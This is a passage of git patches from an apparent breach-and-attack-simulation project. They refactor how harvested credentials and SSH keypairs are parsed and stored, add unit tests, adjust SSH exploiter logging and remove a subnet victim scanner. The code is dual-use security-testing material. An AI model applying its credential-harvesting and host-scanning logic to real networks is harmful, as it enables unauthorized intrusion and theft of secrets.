monkey_island.cc.services.telemetry.processing.credentials import Credentials -def process_password(password: dict): +def process_password(password: Mapping, _: Credentials): ConfigService.creds_add_password(password["password"]) From 1fe12934054723fbc08958518d3547552978a401 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 23 Feb 2022 11:31:45 +0200 Subject: [PATCH 0525/1110] UT: export credential testing infrastructure to conftest --- .../processing/credentials/conftest.py | 23 +++++++++++ .../credentials/test_credential_processing.py | 38 ++++++------------- 2 files changed, 34 insertions(+), 27 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/conftest.py diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/conftest.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/conftest.py new file mode 100644 index 000000000..d2891678e --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/conftest.py @@ -0,0 +1,23 @@ +from datetime import datetime + +import mongoengine +import pytest + +from monkey_island.cc.services.config import ConfigService + + +@pytest.fixture +def fake_mongo(monkeypatch): + mongo = mongoengine.connection.get_connection() + monkeypatch.setattr("monkey_island.cc.services.config.mongo", mongo) + config = ConfigService.get_default_config() + ConfigService.update_config(config, should_encrypt=True) + + +CREDENTIAL_TELEM_TEMPLATE = { + "monkey_guid": "272405690278083", + "telem_category": "credentials", + "timestamp": datetime(2022, 2, 18, 11, 51, 15, 338953), + "command_control_channel": {"src": "10.2.2.251", "dst": "10.2.2.251:5000"}, + "data": None, +} diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py index 87326d228..94874cd4a 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py @@ -1,9 +1,10 @@ from copy import deepcopy -from datetime import datetime import dpath.util -import mongoengine import pytest +from tests.unit_tests.monkey_island.cc.services.telemetry.processing.credentials.conftest import ( + CREDENTIAL_TELEM_TEMPLATE, +) from common.config_value_paths import ( LM_HASH_LIST_PATH, @@ -16,14 +17,6 @@ from monkey_island.cc.services.telemetry.processing.credentials.credentials_pars parse_credentials, ) -CREDENTIAL_TELEM_TEMPLATE = { - "monkey_guid": "272405690278083", - "telem_category": "credentials", - "timestamp": datetime(2022, 2, 18, 11, 51, 15, 338953), - "command_control_channel": {"src": "10.2.2.251", "dst": "10.2.2.251:5000"}, - "data": None, -} - fake_username = "m0nk3y_user" cred_telem_usernames = deepcopy(CREDENTIAL_TELEM_TEMPLATE) cred_telem_usernames["data"] = [ @@ -58,31 +51,22 @@ cred_empty_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) cred_empty_telem["data"] = [{"identities": [], "secrets": []}] -@pytest.fixture -def fake_mongo(monkeypatch): - mongo = mongoengine.connection.get_connection() - monkeypatch.setattr("monkey_island.cc.services.config.mongo", mongo) - config = ConfigService.get_default_config() - ConfigService.update_config(config, should_encrypt=True) - return mongo - - -@pytest.mark.usefixtures("uses_database") -def test_cred_username_parsing(fake_mongo): +@pytest.mark.usefixtures("uses_database", "fake_mongo") +def test_cred_username_parsing(): parse_credentials(cred_telem_usernames) config = ConfigService.get_config(should_decrypt=True) assert fake_username in dpath.util.get(config, USER_LIST_PATH) -@pytest.mark.usefixtures("uses_database") -def test_cred_special_username_parsing(fake_mongo): +@pytest.mark.usefixtures("uses_database", "fake_mongo") +def test_cred_special_username_parsing(): parse_credentials(cred_telem_special_usernames) config = ConfigService.get_config(should_decrypt=True) assert fake_special_username in dpath.util.get(config, USER_LIST_PATH) -@pytest.mark.usefixtures("uses_database") -def test_cred_telemetry_parsing(fake_mongo): +@pytest.mark.usefixtures("uses_database", "fake_mongo") +def test_cred_telemetry_parsing(): parse_credentials(cred_telem) config = ConfigService.get_config(should_decrypt=True) assert fake_username in dpath.util.get(config, USER_LIST_PATH) @@ -91,8 +75,8 @@ def test_cred_telemetry_parsing(fake_mongo): assert fake_password in dpath.util.get(config, PASSWORD_LIST_PATH) -@pytest.mark.usefixtures("uses_database") -def test_empty_cred_telemetry_parsing(fake_mongo): +@pytest.mark.usefixtures("uses_database", "fake_mongo") +def test_empty_cred_telemetry_parsing(): default_config = deepcopy(ConfigService.get_config(should_decrypt=True)) default_usernames = dpath.util.get(default_config, USER_LIST_PATH) default_nt_hashes = dpath.util.get(default_config, NTLM_HASH_LIST_PATH) From a1073bdb34e9b3a17865f89589300e4ccf5de4d6 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 23 Feb 2022 11:42:10 +0200 Subject: [PATCH 0526/1110] Island: add monkey guid to credentials object --- .../telemetry/processing/credentials/credentials.py | 9 +++++++-- .../processing/credentials/credentials_parser.py | 6 +++--- 2 files changed, 10 insertions(+), 5 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py index 858f8e744..70d13b594 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials.py @@ -8,7 +8,12 @@ from typing import Sequence class Credentials: identities: Sequence[dict] secrets: Sequence[dict] + monkey_guid: str @staticmethod - def from_dict(cred_dict: dict) -> Credentials: - return Credentials(identities=cred_dict["identities"], secrets=cred_dict["secrets"]) + def from_dict(cred_dict: dict, monkey_guid: str) -> Credentials: + return Credentials( + identities=cred_dict["identities"], + secrets=cred_dict["secrets"], + monkey_guid=monkey_guid, + ) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py index d595300fb..13c912910 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -24,10 +24,10 @@ IDENTITY_PROCESSORS = { } -def parse_credentials(credentials_dict: Mapping): +def parse_credentials(telemetry_dict: Mapping): credentials = [ - Credentials(credential["identities"], credential["secrets"]) - for credential in credentials_dict["data"] + Credentials.from_dict(credential, telemetry_dict["monkey_guid"]) + for credential in telemetry_dict["data"] ] for credential in credentials: From ddb227b181695b09c4f67480fc2746792ef2a0de Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 23 Feb 2022 13:59:47 +0200 Subject: [PATCH 0527/1110] Island: sort telem processing functions alphabetically --- .../services/telemetry/processing/processing.py | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/processing.py b/monkey/monkey_island/cc/services/telemetry/processing/processing.py index 0dd93aab1..abea5dc38 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/processing.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/processing.py @@ -13,16 +13,16 @@ from monkey_island.cc.services.telemetry.processing.tunnel import process_tunnel logger = logging.getLogger(__name__) TELEMETRY_CATEGORY_TO_PROCESSING_FUNC = { - TelemCategoryEnum.CREDENTIALS: parse_credentials, - TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, - TelemCategoryEnum.STATE: process_state_telemetry, - TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, - TelemCategoryEnum.SCAN: process_scan_telemetry, - TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, - TelemCategoryEnum.AWS_INFO: process_aws_telemetry, # `lambda *args, **kwargs: None` is a no-op. - TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, TelemCategoryEnum.ATTACK: lambda *args, **kwargs: None, + TelemCategoryEnum.AWS_INFO: process_aws_telemetry, + TelemCategoryEnum.CREDENTIALS: parse_credentials, + TelemCategoryEnum.EXPLOIT: process_exploit_telemetry, + TelemCategoryEnum.POST_BREACH: process_post_breach_telemetry, + TelemCategoryEnum.SCAN: process_scan_telemetry, + TelemCategoryEnum.STATE: process_state_telemetry, + TelemCategoryEnum.TRACE: lambda *args, **kwargs: None, + TelemCategoryEnum.TUNNEL: process_tunnel_telemetry, } From 9396ac7512916d1955bcb512f2778bdbd9e81e96 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 23 Feb 2022 14:00:56 +0200 Subject: [PATCH 0528/1110] Island, UT: fix ssh key processing, add unit tests --- .../credentials/secrets/ssh_key_processor.py | 51 ++++++++++-------- .../credentials/test_ssh_key_processing.py | 54 +++++++++++++++++++ 2 files changed, 83 insertions(+), 22 deletions(-) create mode 100644 monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py index b6b898fda..0b299edfb 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/secrets/ssh_key_processor.py @@ -1,7 +1,9 @@ -from common.common_consts.credentials_type import CredentialComponentType +from typing import Mapping + from monkey_island.cc.models import Monkey from monkey_island.cc.server_utils.encryption import get_datastore_encryptor from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials import Credentials class SSHKeyProcessingError(ValueError): @@ -10,33 +12,38 @@ class SSHKeyProcessingError(ValueError): super().__init__(self.msg) -def process_ssh_key(credentials: dict, monkey_guid: str): - if len(credentials["identities"]) != 1: +def process_ssh_key(keypair: Mapping, credentials: Credentials): + if len(credentials.identities) != 1: raise SSHKeyProcessingError( - f'SSH credentials have {len(credentials["identities"])}' f" users associated with it!" + f"SSH credentials have {len(credentials.identities)}" f" users associated with " f"it!" ) - for ssh_key in credentials["secrets"]: - if not ssh_key["credential_type"] == CredentialComponentType.SSH_KEYPAIR.value: - raise SSHKeyProcessingError("SSH credentials contain secrets that are not keypairs") + if not _contains_both_keys(keypair): + raise SSHKeyProcessingError("Private or public key missing!") - if not ssh_key["public_key"] or not ssh_key["private_key"]: - raise SSHKeyProcessingError("Private or public key missing!") + # TODO SSH key should be associated with IP that monkey exploited + ip = Monkey.get_single_monkey_by_guid(credentials.monkey_guid).ip_addresses[0] + username = credentials.identities[0]["username"] - # TODO SSH key should be associated with IP that monkey exploited - ip = Monkey.get_single_monkey_by_guid(monkey_guid).ip_addresses[0] - username = credentials["identities"][0]["username"] + encrypted_keys = _encrypt_ssh_keys(keypair) - encrypt_system_info_ssh_keys(ssh_key) - - ConfigService.ssh_add_keys( - user=username, - public_key=ssh_key["public_key"], - private_key=ssh_key["private_key"], - ip=ip, - ) + ConfigService.ssh_add_keys( + user=username, + public_key=encrypted_keys["public_key"], + private_key=encrypted_keys["private_key"], + ip=ip, + ) -def encrypt_system_info_ssh_keys(ssh_key: dict): +def _contains_both_keys(ssh_key: Mapping) -> bool: + try: + return ssh_key["public_key"] and ssh_key["private_key"] + except KeyError: + return False + + +def _encrypt_ssh_keys(ssh_key: Mapping) -> Mapping: + encrypted_keys = {} for field in ["public_key", "private_key"]: - ssh_key[field] = get_datastore_encryptor().encrypt(ssh_key[field]) + encrypted_keys[field] = get_datastore_encryptor().encrypt(ssh_key[field]) + return encrypted_keys diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py new file mode 100644 index 000000000..b06d7cd3d --- /dev/null +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py @@ -0,0 +1,54 @@ +from copy import deepcopy + +import dpath.util +import pytest +from tests.unit_tests.monkey_island.cc.services.telemetry.processing.credentials.conftest import ( + CREDENTIAL_TELEM_TEMPLATE, +) + +from common.config_value_paths import SSH_KEYS_PATH, USER_LIST_PATH +from monkey_island.cc.models import Monkey +from monkey_island.cc.services.config import ConfigService +from monkey_island.cc.services.telemetry.processing.credentials.credentials_parser import ( + parse_credentials, +) + +fake_monkey_guid = "272405690278083" +fake_ip_address = "192.168.56.1" + +fake_private_key = "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAACmFlczI1N\n" +fake_partial_secret = {"private_key": fake_private_key, "credential_type": "ssh_keypair"} + +fake_username = "ubuntu" +fake_public_key = ( + "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC1u2+50OFRnzOGHpWo69" + "tc02oMXudeML7pOl7rqXLmdxuj monkey@krk-wpas5" +) +fake_secret_full = { + "private_key": fake_private_key, + "public_key": fake_public_key, + "credential_type": "ssh_keypair", +} +fake_identity = {"username": fake_username, "credential_type": "username"} + +ssh_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) +ssh_telem["data"] = [{"identities": [fake_identity], "secrets": [fake_secret_full]}] + + +@pytest.fixture +def insert_fake_monkey(): + monkey = Monkey(guid=fake_monkey_guid, ip_addresses=[fake_ip_address]) + monkey.save() + + +@pytest.mark.usefixtures("uses_encryptor", "uses_database", "fake_mongo", "insert_fake_monkey") +def test_ssh_credential_parsing(): + parse_credentials(ssh_telem) + config = ConfigService.get_config(should_decrypt=True) + ssh_keypairs = dpath.util.get(config, SSH_KEYS_PATH) + assert len(ssh_keypairs) == 1 + assert ssh_keypairs[0]["private_key"] == fake_private_key + assert ssh_keypairs[0]["public_key"] == fake_public_key + assert ssh_keypairs[0]["user"] == fake_username + assert ssh_keypairs[0]["ip"] == fake_ip_address + assert fake_username in dpath.util.get(config, USER_LIST_PATH) From 04b217cde5930f84161f910dd59c11e9676946e3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 23 Feb 2022 14:14:43 +0200 Subject: [PATCH 0529/1110] Island: remove code duplication in credentials_parser.py --- .../credentials/credentials_parser.py | 19 +++++++------------ 1 file changed, 7 insertions(+), 12 deletions(-) diff --git a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py index 13c912910..2c42fa2c8 100644 --- a/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py +++ b/monkey/monkey_island/cc/services/telemetry/processing/credentials/credentials_parser.py @@ -1,4 +1,5 @@ import logging +from itertools import chain from typing import Mapping from common.common_consts.credential_component_type import CredentialComponentType @@ -12,14 +13,11 @@ from .secrets.ssh_key_processor import process_ssh_key logger = logging.getLogger(__name__) -SECRET_PROCESSORS = { - CredentialComponentType.PASSWORD: process_password, - CredentialComponentType.NT_HASH: process_nt_hash, +CREDENTIAL_COMPONENT_PROCESSORS = { CredentialComponentType.LM_HASH: process_lm_hash, + CredentialComponentType.NT_HASH: process_nt_hash, + CredentialComponentType.PASSWORD: process_password, CredentialComponentType.SSH_KEYPAIR: process_ssh_key, -} - -IDENTITY_PROCESSORS = { CredentialComponentType.USERNAME: process_username, } @@ -31,9 +29,6 @@ def parse_credentials(telemetry_dict: Mapping): ] for credential in credentials: - for identity in credential.identities: - credential_type = CredentialComponentType[identity["credential_type"]] - IDENTITY_PROCESSORS[credential_type](identity, credential) - for secret in credential.secrets: - credential_type = CredentialComponentType[secret["credential_type"]] - SECRET_PROCESSORS[credential_type](secret, credential) + for cred_comp in chain(credential.identities, credential.secrets): + credential_type = CredentialComponentType[cred_comp["credential_type"]] + CREDENTIAL_COMPONENT_PROCESSORS[credential_type](cred_comp, credential) From 9d23c3dd621caf403c17c6f748dd4e07accfd06d Mon Sep 17 00:00:00 2001 From: vakarisz Date: Wed, 23 Feb 2022 16:00:31 +0200 Subject: [PATCH 0530/1110] UT: fix test data to contain credential type in capitals --- .../processing/credentials/test_credential_processing.py | 2 +- .../processing/credentials/test_ssh_key_processing.py | 6 +++--- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py index 94874cd4a..2ad17431d 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_credential_processing.py @@ -27,7 +27,7 @@ fake_special_username = "$m0nk3y.user" cred_telem_special_usernames = deepcopy(CREDENTIAL_TELEM_TEMPLATE) cred_telem_special_usernames["data"] = [ { - "identities": [{"username": fake_special_username, "credential_type": "username"}], + "identities": [{"username": fake_special_username, "credential_type": "USERNAME"}], "secrets": [], } ] diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py index b06d7cd3d..2d012c4ee 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/telemetry/processing/credentials/test_ssh_key_processing.py @@ -17,7 +17,7 @@ fake_monkey_guid = "272405690278083" fake_ip_address = "192.168.56.1" fake_private_key = "-----BEGIN OPENSSH PRIVATE KEY-----\nb3BlbnNzaC1rZXktdjEAAAAACmFlczI1N\n" -fake_partial_secret = {"private_key": fake_private_key, "credential_type": "ssh_keypair"} +fake_partial_secret = {"private_key": fake_private_key, "credential_type": "SSH_KEYPAIR"} fake_username = "ubuntu" fake_public_key = ( @@ -27,9 +27,9 @@ fake_public_key = ( fake_secret_full = { "private_key": fake_private_key, "public_key": fake_public_key, - "credential_type": "ssh_keypair", + "credential_type": "SSH_KEYPAIR", } -fake_identity = {"username": fake_username, "credential_type": "username"} +fake_identity = {"username": fake_username, "credential_type": "USERNAME"} ssh_telem = deepcopy(CREDENTIAL_TELEM_TEMPLATE) ssh_telem["data"] = [{"identities": [fake_identity], "secrets": [fake_secret_full]}] From 0f0edc3439baba1b29ff3d712dba113f2f1fcd58 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 23 Feb 2022 09:08:28 -0500 Subject: [PATCH 0531/1110] Agent: Log error messages at error level in SSHExploiter --- monkey/infection_monkey/exploit/sshexec.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index a8a585bed..4cbfd1e5c 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -125,7 +125,7 @@ class SSHExploiter(HostExploiter): self.exploit_result.exploitation_success = True except FailedExploitationError: self.exploit_result.error_message = "Exploiter SSHExploiter is giving up..." - logger.debug(self.exploit_result.error_message) + logger.error(self.exploit_result.error_message) return self.exploit_result if not self.host.os.get("type"): @@ -146,7 +146,7 @@ class SSHExploiter(HostExploiter): f"Error running uname os command on victim {self.host}: ({exc})" ) - logger.debug(self.exploit_result.error_message) + logger.error(self.exploit_result.error_message) return self.exploit_result if not self.host.os.get("machine"): @@ -168,7 +168,7 @@ class SSHExploiter(HostExploiter): f"Can't find suitable monkey executable for host {self.host}" ) - logger.info(self.exploit_result.error_message) + logger.error(self.exploit_result.error_message) return self.exploit_result try: From 62f18611932820133842ab4efad242d21f1f0440 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Feb 2022 11:01:51 -0500 Subject: [PATCH 0532/1110] Agent: Remove disused NetworkScanner --- .../network/network_scanner.py | 136 ------------------ 1 file changed, 136 deletions(-) delete mode 100644 monkey/infection_monkey/network/network_scanner.py diff --git a/monkey/infection_monkey/network/network_scanner.py b/monkey/infection_monkey/network/network_scanner.py deleted file mode 100644 index e8df06bd4..000000000 --- a/monkey/infection_monkey/network/network_scanner.py +++ /dev/null @@ -1,136 +0,0 @@ -import logging -from multiprocessing.dummy import Pool - -from common.network.network_range import NetworkRange -from infection_monkey.config import WormConfiguration -from infection_monkey.model.victim_host_generator import VictimHostGenerator -from infection_monkey.network.info import get_interfaces_ranges, local_ips -from infection_monkey.network.ping_scanner import PingScanner -from infection_monkey.network.tcp_scanner import TcpScanner - -logger = logging.getLogger(__name__) - -ITERATION_BLOCK_SIZE = 5 - - -class NetworkScanner(object): - def __init__(self): - self._ip_addresses = None - self._ranges = None - self.scanners = [TcpScanner(), PingScanner()] - - def initialize(self): - """ - Set up scanning. - based on configuration: scans local network and/or scans fixed list of IPs/subnets. - """ - # get local ip addresses - self._ip_addresses = local_ips() - - if not self._ip_addresses: - raise Exception("Cannot find local IP address for the machine") - - logger.info("Found local IP addresses of the machine: %r", self._ip_addresses) - # for fixed range, only scan once. - self._ranges = [ - NetworkRange.get_range_obj(address_str=x) for x in WormConfiguration.subnet_scan_list - ] - if WormConfiguration.local_network_scan: - self._ranges += get_interfaces_ranges() - self._ranges += self._get_inaccessible_subnets_ips() - logger.info("Base local networks to scan are: %r", self._ranges) - - # TODO remove afret agent refactoring, - # it's already handled in network.scan_target_generator._get_inaccessible_subnets_ips - def _get_inaccessible_subnets_ips(self): - """ - For each of the machine's IPs, checks if it's in one of the subnets specified in the - 'inaccessible_subnets' config value. If so, all other subnets in the config value - shouldn't be accessible. - All these subnets are returned. - :return: A list of subnets that shouldn't be accessible from the machine the monkey is - running on. - """ - subnets_to_scan = [] - if len(WormConfiguration.inaccessible_subnets) > 1: - for subnet_str in WormConfiguration.inaccessible_subnets: - if NetworkScanner._is_any_ip_in_subnet( - [str(x) for x in self._ip_addresses], subnet_str - ): - # If machine has IPs from 2 different subnets in the same group, there's no - # point checking the other - # subnet. - for other_subnet_str in WormConfiguration.inaccessible_subnets: - if other_subnet_str == subnet_str: - continue - if not NetworkScanner._is_any_ip_in_subnet( - [str(x) for x in self._ip_addresses], other_subnet_str - ): - subnets_to_scan.append(NetworkRange.get_range_obj(other_subnet_str)) - break - - return subnets_to_scan - - def get_victim_machines(self, max_find=5, stop_callback=None): - """ - Finds machines according to the ranges specified in the object - :param max_find: Max number of victims to find regardless of ranges - :param stop_callback: A callback to check at any point if we should stop scanning - :return: yields a sequence of VictimHost instances - """ - # We currently use the ITERATION_BLOCK_SIZE as the pool size, however, this may not be - # the best decision - # However, the decision what ITERATION_BLOCK_SIZE also requires balancing network usage ( - # pps and bw) - # Because we are using this to spread out IO heavy tasks, we can probably go a lot higher - # than CPU core size - # But again, balance - pool = Pool(ITERATION_BLOCK_SIZE) - victim_generator = VictimHostGenerator( - self._ranges, WormConfiguration.blocked_ips, local_ips() - ) - - victims_count = 0 - for victim_chunk in victim_generator.generate_victims(ITERATION_BLOCK_SIZE): - logger.debug("Scanning for potential victims in chunk %r", victim_chunk) - - # check before running scans - if stop_callback and stop_callback(): - logger.debug("Got stop signal") - return - - results = pool.map(self.scan_machine, victim_chunk) - resulting_victims = [x for x in results if x is not None] - for victim in resulting_victims: - logger.debug("Found potential victim: %r", victim) - victims_count += 1 - yield victim - - if victims_count >= max_find: - logger.debug("Found max needed victims (%d), stopping scan", max_find) - return - - @staticmethod - # TODO remove afret agent refactoring, - # it's already handled in network.scan_target_generator._is_any_ip_in_subnet - def _is_any_ip_in_subnet(ip_addresses, subnet_str): - for ip_address in ip_addresses: - if NetworkRange.get_range_obj(subnet_str).is_in_range(ip_address): - return True - return False - - def scan_machine(self, victim): - """ - Scans specific machine using instance scanners - :param victim: VictimHost machine - :return: Victim or None if victim isn't alive - """ - logger.debug("Scanning target address: %r", victim) - if any(scanner.is_host_alive(victim) for scanner in self.scanners): - logger.debug("Found potential target_ip: %r", victim) - return victim - else: - return None - - def on_island(self, server): - return bool([x for x in self._ip_addresses if x in server]) From b17c85cd01bbfb620da3d36d61a9b957df297cef Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 22 Feb 2022 12:08:04 -0500 Subject: [PATCH 0533/1110] Agent: Extract network_scanning package from network package This resolves some circular dependencies between Tunnel, IPuppet, and VictimHost. --- monkey/infection_monkey/exploit/elasticgroovy.py | 2 +- monkey/infection_monkey/exploit/smbexec.py | 2 +- monkey/infection_monkey/master/propagator.py | 2 +- monkey/infection_monkey/monkey.py | 10 +++++----- monkey/infection_monkey/network/__init__.py | 4 +--- monkey/infection_monkey/network/info.py | 6 ++++-- monkey/infection_monkey/network_scanning/__init__.py | 2 ++ .../elasticsearch_fingerprinter.py | 0 .../http_fingerprinter.py | 0 .../mssql_fingerprinter.py | 0 .../{network => network_scanning}/ping_scanner.py | 0 .../scan_target_generator.py | 5 +---- .../smb_fingerprinter.py | 0 .../ssh_fingerprinter.py | 0 .../{network => network_scanning}/tcp_scanner.py | 0 monkey/infection_monkey/puppet/puppet.py | 6 +++--- .../model/test_victim_host_factory.py | 2 +- .../test_elasticsearch_fingerprinter.py | 11 +++++++---- .../test_http_fingerprinter.py | 4 ++-- .../test_mssql_fingerprinter.py | 8 ++++---- .../{network => network_scanning}/test_ping.py | 2 +- .../test_scan_target_generator.py | 7 ++----- .../test_ssh_fingerprinter.py | 2 +- .../test_tcp_scanning.py | 4 ++-- 24 files changed, 39 insertions(+), 40 deletions(-) create mode 100644 monkey/infection_monkey/network_scanning/__init__.py rename monkey/infection_monkey/{network => network_scanning}/elasticsearch_fingerprinter.py (100%) rename monkey/infection_monkey/{network => network_scanning}/http_fingerprinter.py (100%) rename monkey/infection_monkey/{network => network_scanning}/mssql_fingerprinter.py (100%) rename monkey/infection_monkey/{network => network_scanning}/ping_scanner.py (100%) rename monkey/infection_monkey/{network => network_scanning}/scan_target_generator.py (96%) rename monkey/infection_monkey/{network => network_scanning}/smb_fingerprinter.py (100%) rename monkey/infection_monkey/{network => network_scanning}/ssh_fingerprinter.py (100%) rename monkey/infection_monkey/{network => network_scanning}/tcp_scanner.py (100%) rename monkey/tests/unit_tests/infection_monkey/{network => network_scanning}/test_elasticsearch_fingerprinter.py (86%) rename monkey/tests/unit_tests/infection_monkey/{network => network_scanning}/test_http_fingerprinter.py (96%) rename monkey/tests/unit_tests/infection_monkey/{network => network_scanning}/test_mssql_fingerprinter.py (89%) rename monkey/tests/unit_tests/infection_monkey/{network => network_scanning}/test_ping.py (98%) rename monkey/tests/unit_tests/infection_monkey/{network => network_scanning}/test_scan_target_generator.py (98%) rename monkey/tests/unit_tests/infection_monkey/{network => network_scanning}/test_ssh_fingerprinter.py (97%) rename monkey/tests/unit_tests/infection_monkey/{network => network_scanning}/test_tcp_scanning.py (92%) diff --git a/monkey/infection_monkey/exploit/elasticgroovy.py b/monkey/infection_monkey/exploit/elasticgroovy.py index 522c348b1..6c2751418 100644 --- a/monkey/infection_monkey/exploit/elasticgroovy.py +++ b/monkey/infection_monkey/exploit/elasticgroovy.py @@ -22,7 +22,7 @@ from infection_monkey.model import ( ID_STRING, WGET_HTTP_UPLOAD, ) -from infection_monkey.network.elasticfinger import ES_PORT +from infection_monkey.network_scanning.elasticfinger import ES_PORT from infection_monkey.telemetry.attack.t1197_telem import T1197Telem logger = logging.getLogger(__name__) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 4dac63cd9..df027255a 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -8,8 +8,8 @@ from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS -from infection_monkey.network.smbfinger import SMBFinger from infection_monkey.network.tools import check_tcp_port +from infection_monkey.network_scanning.smbfinger import SMBFinger from infection_monkey.telemetry.attack.t1035_telem import T1035Telem from infection_monkey.utils.commands import build_monkey_commandline diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index a8437cc94..45fc0955b 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -12,7 +12,7 @@ from infection_monkey.i_puppet import ( ) from infection_monkey.model import VictimHost, VictimHostFactory from infection_monkey.network import NetworkAddress, NetworkInterface -from infection_monkey.network.scan_target_generator import compile_scan_target_list +from infection_monkey.network_scanning.scan_target_generator import compile_scan_target_list from infection_monkey.telemetry.exploit_telem import ExploitTelem from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.scan_telem import ScanTelem diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 5c36b0278..087fa9959 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -22,13 +22,13 @@ from infection_monkey.master import AutomatedMaster from infection_monkey.master.control_channel import ControlChannel from infection_monkey.model import DELAY_DELETE_CMD, VictimHostFactory from infection_monkey.network import NetworkInterface -from infection_monkey.network.elasticsearch_fingerprinter import ElasticSearchFingerprinter from infection_monkey.network.firewall import app as firewall -from infection_monkey.network.http_fingerprinter import HTTPFingerprinter from infection_monkey.network.info import get_local_network_interfaces -from infection_monkey.network.mssql_fingerprinter import MSSQLFingerprinter -from infection_monkey.network.smb_fingerprinter import SMBFingerprinter -from infection_monkey.network.ssh_fingerprinter import SSHFingerprinter +from infection_monkey.network_scanning.elasticsearch_fingerprinter import ElasticSearchFingerprinter +from infection_monkey.network_scanning.http_fingerprinter import HTTPFingerprinter +from infection_monkey.network_scanning.mssql_fingerprinter import MSSQLFingerprinter +from infection_monkey.network_scanning.smb_fingerprinter import SMBFingerprinter +from 